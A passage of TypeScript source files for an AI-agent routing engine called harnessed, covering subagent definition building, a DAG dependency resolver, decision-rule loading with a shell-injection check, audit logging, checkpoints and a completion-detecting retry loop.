category: 'meta' | 'engineering' | 'design' | 'content' | 'testing' | 'search'\n forbidden_skills?: string[]\n complexity?: 'low' | 'medium' | 'high' | 'xhigh' | 'max'\n required_skills?: string[]\n}\n\n/** User task context (1:1 contract § 3). */\nexport interface TaskContext {\n task: string\n override_keywords?: string[]\n task_type?: string\n cwd?: string\n /** Phase identifier (e.g., \"3.1\") for checkpoint paths. Falls back to \"unknown\" if not provided.\n * Phase 3.1 W1 T1.1 — W-04 fix path (a): eliminates `(matched?.decision as any)?.phase` cast\n * (Karpathy \"Surgical Changes\" + type safety). */\n phaseId?: string\n}\n\n/** Caller overrides (1:1 contract § 3). */\nexport interface AgentDefinitionOpts {\n modelOverride?: AgentDefinition['model']\n permissionModeOverride?: AgentDefinition['permissionMode']\n effortOverride?: AgentDefinition['effort']\n maxTurnsOverride?: number\n /** Filesystem root for skills lookup (test injection); defaults to ~/.claude/skills/ */\n skillsRoot?: string\n}\n\n// 4 typed error classes (contract § 5.1) — D-14 throw-error path, narrowed in engine.ts.\nexport class SkillNotInstalledError extends Error {\n constructor(public skill: string) {\n super(`Skill not installed: ${skill}. Run: harnessed install ${skill} --apply`)\n this.name = 'SkillNotInstalledError'\n }\n}\nexport class InvalidDecisionError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'InvalidDecisionError'\n }\n}\nexport class MissingSkillsError extends Error {\n constructor(public missing: string[]) {\n super(`Required skills missing: ${missing.join(', ')}`)\n this.name = 'MissingSkillsError'\n }\n}\nexport class RestartRequiredError extends Error {\n constructor(public hint: string) {\n super(hint)\n this.name = 'RestartRequiredError'\n }\n}\n\n/** Karpathy 4 心法 (D1.4-14) — always-on baseline prepended to every subagent. */\nconst KARPATHY_BASELINE = `## 心法 (always-on baseline)\n- Think Before Coding: read, plan, then write — never write before understanding.\n- Simplicity First: minimum effective code; avoid unnecessary abstraction.\n- Surgical Changes: small atomic edits; keep history clean.\n- Goal-Driven Execution: each step earns its place by satisfying a goal.\n`\n\n/** harnessed AgentDefinition factory — pure (no spawn). Throws typed errors\n * (D-14) for engine.ts narrow into EngineResult three-state union. */\nexport async function createAgent(\n task: TaskContext,\n decision: ArbitrateResult,\n opts: AgentDefinitionOpts = {},\n): Promise<AgentDefinition> {\n if (!decision.primary_expert) {\n throw new InvalidDecisionError('decision.primary_expert is required (got null)')\n }\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const requested =\n decision.required_skills ?? (decision.primary_expert ? [decision.primary_expert] : [])\n const isInstalled = (name: string) => existsSync(join(skillsRoot, name, 'SKILL.md'))\n const missing = requested.filter((s) => !isInstalled(s))\n if (missing.length === requested.length && requested.length > 0) {\n throw new MissingSkillsError(missing)\n }\n if (missing.length > 0) {\n throw new SkillNotInstalledError(missing[0] as string)\n }\n\n const promptBody = `${KARPATHY_BASELINE}\\n## 任务\\n${task.task}\\n\\n${COMPLETE_INSTRUCTION}`\n\n return {\n description: `Routing-engine spawned subagent (${decision.category}) — primary: ${decision.primary_expert}`,\n prompt: promptBody,\n tools: ['Read', 'Grep', 'Glob', 'Bash', 'Edit', 'Write'],\n disallowedTools: decision.forbidden_skills?.map((s) => `Skill(${s})`),\n model: opts.modelOverride ?? process.env.HARNESSED_AGENT_MODEL ?? 'inherit',\n skills: requested,\n mcpServers: undefined,\n memory: 'project',\n maxTurns: opts.maxTurnsOverride ?? 50,\n background: false,\n effort: opts.effortOverride ?? 'medium',\n permissionMode: opts.permissionModeOverride ?? 'default',\n // v1.1 errata (ADR 0009 § Decision Errata 1) — `initialPrompt` carries the\n // task body for the plugin-main-thread upgrade path;\n // `criticalSystemReminder_EXPERIMENTAL` re-asserts the verbatim\n // <promise>COMPLETE</promise> contract at the system-prompt layer.\n initialPrompt: task.task,\n criticalSystemReminder_EXPERIMENTAL: COMPLETE_INSTRUCTION,\n }\n}\n","// Phase 1.5 T3.1 — DAG resolver (Kahn's algorithm, iterative ≤200L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision (Errata 4 接口契约升级) + D1.5-1\n// lock. Kahn's algorithm (BFS + indegree queue), self-implemented, NO external\n// graph library (no graphlib / @dagrejs/graphlib / toposort) per karpathy\n// YAGNI — a ≤30L core handles ≤50 manifest dependency graphs. RESEARCH § 1.2\n// rationale for choosing Kahn over DFS-based toposort (4 points):\n// 1. iterative (queue-based) — no recursion, Node.js call-stack safe even\n// for deep linear chains (DFS recursion would risk stack overflow).\n// 2. queue-based — natural to emit a debug trace of processing order.\n// 3. cycle detection is a natural byproduct — after the queue drains, any\n// node with indegree ≠ 0 is provably part of a cycle.\n// 4. karpathy simplicity — the whole algorithm fits in one readable loop.\n// LOC budget: ≤200L hard limit (D-19). SPIKE-REPORT-2.md § 2 validated the\n// algorithm on 5 graph cases (linear / diamond / multi-root / single / cycle)\n// before this file existed — 5/5 PASS including E_DAG_CYCLE detection.\n//\n// Three-state discriminated union `DagResolveResult` mirrors `EngineResult`\n// (engine.ts) per the F41 takeaway — callers narrow on `result.ok` and the\n// TypeScript compiler guarantees `order` xor `cycle` access.\n\nimport { InvalidDecisionError } from './agentDefinition.js'\n\n/** A node identifier within the dependency graph. */\nexport type NodeId = string\n\n/** A single DAG node: an id plus the ids it depends on (edges point dep → id). */\nexport interface DagNode {\n /** Unique node identifier. */\n id: NodeId\n /** Ids this node depends on; each must resolve before this node. */\n deps: NodeId[]\n}\n\n/**\n * Three-state result of {@link resolveDag} — discriminated on `ok`:\n * - `{ ok: true, order }` — topological order (deps before dependents)\n * - `{ ok: false, cycle }` — cycle detected; `cycle` lists the offending nodes\n */\nexport type DagResolveResult = { ok: true; order: NodeId[] } | { ok: false; cycle: NodeId[] }\n\n/**\n * Resolve a dependency graph into a topological order using Kahn's algorithm.\n *\n * Iterative (no recursion) — BFS over an indegree queue. Deterministic output:\n * the ready queue is kept alphabetically sorted so the same graph always yields\n * the same ordering (eases debugging + snapshot tests).\n *\n * @param nodes - graph nodes; `deps` entries referencing unknown ids are ignored\n * (treated as already-satisfied external deps).\n * @returns `{ ok: true, order }` for an acyclic graph, or `{ ok: false, cycle }`\n * listing the nodes that form one or more cycles.\n */\nexport function resolveDag(nodes: DagNode[]): DagResolveResult {\n // Build the id set + adjacency (dep → dependents) + indegree map.\n const ids = new Set<NodeId>(nodes.map((n) => n.id))\n const adj = new Map<NodeId, NodeId[]>()\n const indegree = new Map<NodeId, number>()\n for (const id of ids) {\n adj.set(id, [])\n indegree.set(id, 0)\n }\n for (const node of nodes) {\n for (const dep of node.deps) {\n // Skip edges to unknown ids — external/already-satisfied dependencies.\n if (!ids.has(dep)) continue\n adj.get(dep)?.push(node.id)\n indegree.set(node.id, (indegree.get(node.id) ?? 0) + 1)\n }\n }\n\n // Seed the ready queue with every indegree-0 node, alphabetically sorted.\n const queue: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg === 0) queue.push(id)\n }\n queue.sort()\n\n // Kahn main loop — pop a ready node, emit it, decrement its dependents.\n const order: NodeId[] = []\n while (queue.length > 0) {\n const id = queue.shift() as NodeId\n order.push(id)\n let exposed = false\n for (const dependent of adj.get(id) ?? []) {\n const next = (indegree.get(dependent) ?? 0) - 1\n indegree.set(dependent, next)\n if (next === 0) {\n queue.push(dependent)\n exposed = true\n }\n }\n // Keep the queue sorted for deterministic ordering when new nodes appear.\n if (exposed) queue.sort()\n }\n\n // Cycle detection — any node not emitted still has indegree > 0 and is\n // provably part of a cycle (Kahn cannot reach it).\n if (order.length !== ids.size) {\n const cycle: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg > 0) cycle.push(id)\n }\n cycle.sort()\n return { ok: false, cycle }\n }\n\n return { ok: true, order }\n}\n\n/**\n * Format a friendly, actionable error message for a detected dependency cycle.\n * Mirrors the phase 1.1 manifest-validate friendly-error style (label + hint +\n * doc reference) so CLI output stays consistent across subsystems.\n *\n * @param cycle - the cycle node ids returned by {@link resolveDag}.\n */\nexport function formatCycleError(cycle: NodeId[]): string {\n const chain = cycle.join(' → ')\n return [\n `Circular dependency detected in skills: ${chain}`,\n ` hint: check 'deps:' field in manifest spec; cycle members above must form an acyclic graph.`,\n ` see docs/adr/0009-routing-l2-engineering-23-shi-errata.md § DAG resolver friendly error.`,\n ].join('\\n')\n}\n\n/**\n * Resolve a graph and throw a typed {@link InvalidDecisionError} on a cycle —\n * convenience wrapper for callers (e.g. engine.ts) that prefer the throw-error\n * path (D-14) over manual three-state narrowing. Returns the topological order\n * directly on success.\n *\n * @param nodes - graph nodes.\n * @throws {InvalidDecisionError} when the graph contains a cycle.\n */\nexport function resolveDagOrThrow(nodes: DagNode[]): NodeId[] {\n const result = resolveDag(nodes)\n if (!result.ok) {\n throw new InvalidDecisionError(formatCycleError(result.cycle))\n }\n return result.order\n}\n","// Phase 1.3 T3.2 — routing/decision_rules.yaml v1 loader + Priority Hit Policy arbitrate.\n// Phase 1.5 T4.3 — v2 schema (mattpocock_phases + engineering rules) + F42 arbitrate.\n// Phase 2.3 W2 T2.2 — ADR 0012 errata: CD-3 negative-space + if_rejected_use redirect\n// sister fn `arbitrateWithRedirect` lives in lib/arbitrateRedirect.ts (proactive split,\n// 沿袭 Phase 2.2 sdkReconcile 先例). Legacy `arbitrate()` 保留 byte-stable (B-18 A7 守恒\n// + 30-sample routing-engine.test.ts byte-stable preservation per PATTERNS D-WP-5(b)).\n// IMPL NOTE (R2 § 1.3 + KICKOFF B1 + D1.3-3): yaml.parseDocument → toJS → Ajv strict\n// validate → checkCmdString 二次过滤 (B1 沿袭 phase 1.1.1 H7 pattern). 全局 rule-set,\n// 与 manifest.spec.decision_rules (per-manifest hint, ADR 0007) schema 完全独立.\n// 仅支持 PRIORITY hit policy (D1.3-3 lock); COLLECT/RULE_ORDER 等推 phase 1.4+.\n// Path migrated from .planning/ to routing/ in phase 1.3.1 sister patch M1\n// (ADR 0007 references in main body retained as ship-time accurate; ADR 0008\n// errata in phase 1.4 will officially document path).\n//\n// IMPL NOTE — phase 1.5 T4.3 (ADR 0009 § Decision / D1.5-12 / F42): v2 schema\n// is additive — `version` accepts 1 OR 2; an optional top-level\n// `mattpocock_phases` map (4 phase × skills + triggers) is allowed; RuleSchema\n// stays permissive (`when` / `decision` are open records) so engineering rules\n// carrying `keywords` / `skills_overlay` / `triggers` validate without a strict\n// per-field schema. `arbitrate` gains an F42 array-element substring match for\n// the new `keywords` field + `signals` task context — NO regex / embedding\n// deps (karpathy YAGNI). v1 scalar `task_type` matching is unchanged so the\n// phase 1.4 30-sample baseline + routing-engine tests stay byte-stable.\n\nimport { readFileSync } from 'node:fs'\nimport { type Static, Type as T } from '@sinclair/typebox'\nimport { Ajv } from 'ajv'\nimport { parseDocument } from 'yaml'\nimport { checkCmdString } from '../manifest/security.js'\n\nconst Domain = T.Union([\n T.Literal('meta'),\n T.Literal('engineering'),\n T.Literal('design'),\n T.Literal('content'),\n T.Literal('testing'),\n T.Literal('search'),\n])\nconst HitPolicy = T.Union([T.Literal('P'), T.Literal('F'), T.Literal('U')])\nconst Str1 = T.String({ minLength: 1 })\nconst ObjStrict = <P extends Parameters<typeof T.Object>[0]>(p: P) =>\n T.Object(p, { additionalProperties: false })\n\nconst RuleSchema = ObjStrict({\n id: Str1,\n priority: T.Integer({ minimum: 0 }),\n domain: Domain,\n when: T.Record(T.String(), T.Unknown()),\n decision: T.Record(T.String(), T.Unknown()),\n})\n\n/** v2 — mattpocock 23 招式 phase routing (4 phase × skills + triggers). */\nconst PhaseEntrySchema = ObjStrict({\n skills: T.Array(Str1, { minItems: 1 }),\n triggers: T.Array(Str1, { minItems: 1 }),\n})\nconst MattpocockPhasesSchema = ObjStrict({\n discuss: PhaseEntrySchema,\n plan: PhaseEntrySchema,\n execute: PhaseEntrySchema,\n verify: PhaseEntrySchema,\n})\n\nexport const DecisionRulesFileSchema = ObjStrict({\n // v2 additive (D1.5-10): accept v1 OR v2 — schema stays backward compatible.\n version: T.Union([T.Literal(1), T.Literal(2)]),\n hit_policy: HitPolicy,\n rules: T.Array(RuleSchema, { minItems: 1 }),\n // v2 — optional mattpocock_phases map; absent in v1 files.\n mattpocock_phases: T.Optional(MattpocockPhasesSchema),\n fallback_supervisor: T.Optional(ObjStrict({ trigger: Str1, llm: Str1 })),\n deprecated: T.Optional(T.Array(ObjStrict({ id: Str1, reason: Str1, fallback: Str1 }))),\n})\n\nexport type Rule = Static<typeof RuleSchema>\nexport type PhaseEntry = Static<typeof PhaseEntrySchema>\nexport type MattpocockPhases = Static<typeof MattpocockPhasesSchema>\nexport type DecisionRulesFile = Static<typeof DecisionRulesFileSchema>\nexport type TaskContext = Record<string, unknown>\n\nconst ajv = new Ajv({ strict: true, allErrors: true, allowUnionTypes: false })\nlet _compiled: ReturnType<typeof ajv.compile<DecisionRulesFile>> | null = null\nfunction getValidator() {\n if (!_compiled) _compiled = ajv.compile<DecisionRulesFile>(DecisionRulesFileSchema)\n return _compiled\n}\n\n/** Recursively scan string values for shell metacharacters (B1 gate). */\nfunction scanShellInjection(node: unknown, path = ''): string | null {\n if (typeof node === 'string') {\n const hit = checkCmdString(node)\n return hit ? `${path || '<root>'}: ${hit.label} (${hit.hint})` : null\n }\n if (Array.isArray(node)) {\n for (let i = 0; i < node.length; i++) {\n const v = scanShellInjection(node[i], `${path}[${i}]`)\n if (v) return v\n }\n return null\n }\n if (node && typeof node === 'object') {\n for (const [k, v] of Object.entries(node)) {\n const hit = scanShellInjection(v, path ? `${path}.${k}` : k)\n if (hit) return hit\n }\n }\n return null\n}\n\nexport function loadDecisionRules(yamlPath: string): DecisionRulesFile {\n const doc = parseDocument(readFileSync(yamlPath, 'utf8'))\n if (doc.errors.length > 0) {\n throw new Error(`decision_rules yaml parse error: ${doc.errors[0]?.message}`)\n }\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const e = validate.errors?.[0]\n throw new Error(`decision_rules schema invalid: ${e?.instancePath || '/'} ${e?.message}`)\n }\n const inj = scanShellInjection(data)\n if (inj) throw new Error(`decision_rules security violation: ${inj}`)\n return data as DecisionRulesFile\n}\n\n/** Priority Hit Policy arbitrate — R2 § 1.3 sketch + F42 array semantic match\n * (phase 1.5 T4.3 / D1.5-12). Scalar `task_type` matching is unchanged from\n * v1; the `keywords` field gains array-element substring matching against the\n * task prompt + signals. NO regex / embedding (karpathy YAGNI). ≤30L. */\nexport function arbitrate(rules: Rule[], task: TaskContext): Rule | null {\n const matches = rules.filter((r) => matchesWhen(r.when, task))\n const [top, second] = [...matches].sort((a, b) => b.priority - a.priority)\n if (!top) return null\n if (second && second.priority === top.priority) return null\n return top\n}\n\n/** F42 array-trigger `when` fields — array-valued rule fields whose elements\n * are matched by substring against the task prompt / signals / same-named task\n * array field. `task_type` is deliberately EXCLUDED: a `task_type` array in a\n * rule keeps its v1 behavior (never matches a scalar task value) so the phase\n * 1.4 30-sample baseline stays byte-stable (testing samples unchanged). */\nconst ARRAY_TRIGGER_FIELDS = new Set(['keywords', 'signals', 'override_keywords'])\n\n/** Lower-cased substring search for `needle` across the task's prompt + signals\n * + an extra same-named array field (F42 array semantic match). */\nfunction taskHas(task: TaskContext, needle: string, extraKey?: string): boolean {\n const n = needle.toLowerCase()\n const prompt = typeof task.prompt === 'string' ? task.prompt.toLowerCase() : ''\n if (prompt.includes(n)) return true\n const sources: unknown[] = []\n if (Array.isArray(task.signals)) sources.push(...(task.signals as unknown[]))\n if (extraKey && extraKey !== 'signals' && Array.isArray(task[extraKey])) {\n sources.push(...(task[extraKey] as unknown[]))\n }\n return sources.some((s) => typeof s === 'string' && s.toLowerCase().includes(n))\n}\n\n/** v1 scalar match (unchanged) + v2 F42 array semantic match. */\nfunction matchesWhen(when: Record<string, unknown>, task: TaskContext): boolean {\n for (const [k, v] of Object.entries(when)) {\n if (ARRAY_TRIGGER_FIELDS.has(k) && Array.isArray(v)) {\n // F42 — rule hits if ANY trigger element is a substring of the task\n // prompt / signals / same-named task array field.\n if (!v.some((kw) => typeof kw === 'string' && taskHas(task, kw, k))) return false\n continue\n }\n if (Array.isArray(v)) {\n // F42 — a non-trigger array-valued `when` field (e.g. `task_type` arrays\n // in perf-a11y-memory / ai-explore-debug) matches by membership: the\n // scalar task value must be one of the rule's listed values. v1 treated\n // these as never-match; phase 1.5 SAMPLES.md § 8.1 upgrades them.\n if (!v.includes(task[k])) return false\n continue\n }\n // v1 behavior — strict scalar equality.\n if (task[k] !== v) return false\n }\n return true\n}\n\n/** Extract the v2 mattpocock_phases map (4 phase × skills + triggers), or null\n * for a v1 file. Lets engineering `skills_overlay.ref` callers resolve the\n * cross-linked skill list without re-parsing the yaml. */\nexport function getMattpocockPhases(file: DecisionRulesFile): MattpocockPhases | null {\n return file.mattpocock_phases ?? null\n}\n\n// Phase 2.3 W2 T2.2 — CD-3 redirect-aware arbitrate (B-18 proactive split + ADR 0012 errata).\nexport { type ArbitrateResult, arbitrateWithRedirect } from './lib/arbitrateRedirect.js'\n","// src/audit/log.ts — Phase 4.3 W1 T1.1 (R8.1 audit log NEW infra per ADR 0018 PRIMARY).\n// JSONL append-only writer + 11-field schema per D-01 LOCKED (CONTEXT.md L34-50).\n// Sync (NOT async sister state.ts): logging path no-await + atomic O_APPEND per RESEARCH § 2.3.\n// Single SoT for routing-decision dimension forward-only per D-02 LOCKED (cross-ref ADR 0019).\n\nimport { createHash } from 'node:crypto'\nimport { appendFileSync, mkdirSync } from 'node:fs'\nimport { dirname } from 'node:path'\nimport { type Static, Type } from '@sinclair/typebox'\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\n\nconst AUDIT_PATH = '.harnessed/audit.log'\n\nexport const AuditRecordSchema = Type.Object(\n {\n ts: Type.String(),\n phase: Type.String(),\n task_excerpt: Type.String(),\n task_sha1: Type.String(),\n matched_rule_id: Type.Union([Type.String(), Type.Null()]),\n primary_expert: Type.Union([Type.String(), Type.Null()]),\n secondary_expert: Type.Union([Type.String(), Type.Null()]),\n category: Type.String(),\n route_layer: Type.String(),\n outcome: Type.String(),\n session_id: Type.Union([Type.String(), Type.Null()]),\n iter_count: Type.Union([Type.Number(), Type.Null()]),\n },\n { additionalProperties: false },\n)\nexport type AuditRecord = Static<typeof AuditRecordSchema>\n\nexport interface AuditCtx {\n outcome: string\n routeLayer: string\n sessionId?: string\n iterCount: number | null\n}\n\nexport function buildAuditRecord(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n ctx: AuditCtx,\n): AuditRecord {\n return {\n ts: new Date().toISOString(),\n phase: task.phaseId ?? 'unknown',\n task_excerpt: task.task.slice(0, 200),\n task_sha1: createHash('sha1').update(task.task).digest('hex'),\n matched_rule_id: matched?.id ?? null,\n primary_expert: (decision.primary_expert as string | null) ?? null,\n secondary_expert: (decision.secondary_expert as string | null) ?? null,\n category: decision.category,\n route_layer: ctx.routeLayer,\n outcome: ctx.outcome,\n session_id: ctx.sessionId ?? null,\n iter_count: ctx.iterCount,\n }\n}\n\nexport function emitAuditRecord(record: AuditRecord): void {\n mkdirSync(dirname(AUDIT_PATH), { recursive: true })\n appendFileSync(AUDIT_PATH, `${JSON.stringify(record)}\\n`)\n}\n","// src/audit/hook.ts — Phase 4.3 W1 T1.2 (sister engineHook.ts ≤50L PRIMARY helper extract pattern延袭).\n// Extracted thin wrapper keeps engine.ts ≤200L Karpathy hard limit clean (HIGH RISK R-1 mitigation).\n// Single responsibility: bridge engine.ts outcome → audit log emit (fail-soft sync NO throw).\n// W1 T1.3 follow-up: signature derives routeLayer from `matched` + defaults iterCount=null inside\n// hook to keep engine.ts call sites single-line (≤200L budget headroom mitigation).\n\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\nimport { buildAuditRecord, emitAuditRecord } from './log.js'\n\nexport type AuditOutcome =\n | 'complete'\n | 'max-iter'\n | 'verbatim-fail'\n | 'spawn-err'\n | 'install-err'\n | 'arbitrate-err'\n\nexport function emitAudit(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n outcome: AuditOutcome,\n sessionId?: string,\n): void {\n emitAuditRecord(\n buildAuditRecord(task, decision, matched, {\n outcome,\n routeLayer: matched ? 'L1-keyword' : 'L3-fallback',\n sessionId,\n iterCount: null, // Phase 4.3 YAGNI (ralphLoopWrap returns string only; defer v0.5+ per RESEARCH § 7 Q2)\n }),\n )\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n phaseId: string\n sessionId?: string\n status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n lastTask?: string\n keyDecisions?: string[]\n canonicalRefs?: string[]\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n * Lock acquired transitively via stateActivate → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n const checkpointPath = `.harnessed/checkpoints/${phaseId}.json`\n await stateActivate(phaseId, checkpointPath)\n return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n * Lock acquired transitively via stateComplete → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n if (ctx.phaseId === 'unknown') {\n console.error(\n '[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to .harnessed/checkpoints/unknown.json (Karpathy fail-loud non-blocking; W-04 mitigation)',\n )\n }\n writeCheckpoint({\n schemaVersion: SCHEMA_VERSIONS.checkpoint,\n phase: ctx.phaseId,\n status: 'complete',\n last_task: ctx.lastTask ?? 'engine.runRouting complete',\n key_decisions: ctx.keyDecisions ?? [],\n canonical_refs: ctx.canonicalRefs ?? [],\n ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n cwd: process.cwd(),\n timestamp: new Date().toISOString(),\n archive_path: `.harnessed/archive/phase-${ctx.phaseId}/`,\n })\n await stateComplete()\n}\n","// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n * is present.\n */\nexport function extractPromise(text: string): string | null {\n const match = text.match(PROMISE_PATTERN)\n return match ? (match[1] as string) : null\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n\nimport type { SdkResultEnvelope } from '../completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n * (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n * string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n try {\n const env = JSON.parse(output) as SdkResultEnvelope\n if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n return false\n } catch {\n return extractPromise(output) === 'COMPLETE'\n }\n}\n\nexport class MaxIterationsExceededError extends Error {\n constructor(public iterations: number) {\n super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n this.name = 'MaxIterationsExceededError'\n }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n constructor(public lastMessage: string) {\n super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n this.name = 'VerbatimCompleteFailError'\n }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n * can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n * T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN LOCKED).\n * `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n * iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n maxIter: number,\n): Promise<string> {\n let last = ''\n let sessionId: string | undefined\n for (let i = 0; i < maxIter; i++) {\n last = await spawn(sessionId, (id) => {\n sessionId = id\n })\n if (isComplete(last)) return last\n }\n throw new MaxIterationsExceededError(maxIter)\n}\n","// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n// SDK input layer = 5 fields (description / tools? / disallowedTools? / prompt / model?)\n// prompt-inject layer = 9 fields (skills / mcpServers / memory / maxTurns / background /\n// effort / permissionMode / initialPrompt /\n// criticalSystemReminder_EXPERIMENTAL)\n// factory-internal total = 14 (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n * Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n return {\n description: def.description,\n prompt: def.prompt,\n ...(def.tools ? { tools: def.tools } : {}),\n ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n ...(def.model ? { model: def.model } : {}),\n }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n * as a structured suffix to `basePrompt`. Callers use this when running an\n * AgentDefinition through an SDK-input path that does NOT natively carry the\n * 9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n * registration). Sections are emitted only when the field is present.\n * Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n const parts: string[] = [basePrompt]\n if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n if (def.mcpServers && Object.keys(def.mcpServers).length) {\n parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n }\n if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n if (def.background) parts.push(`## Background\\nfire-and-forget`)\n if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n if (def.criticalSystemReminder_EXPERIMENTAL) {\n parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n }\n return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. 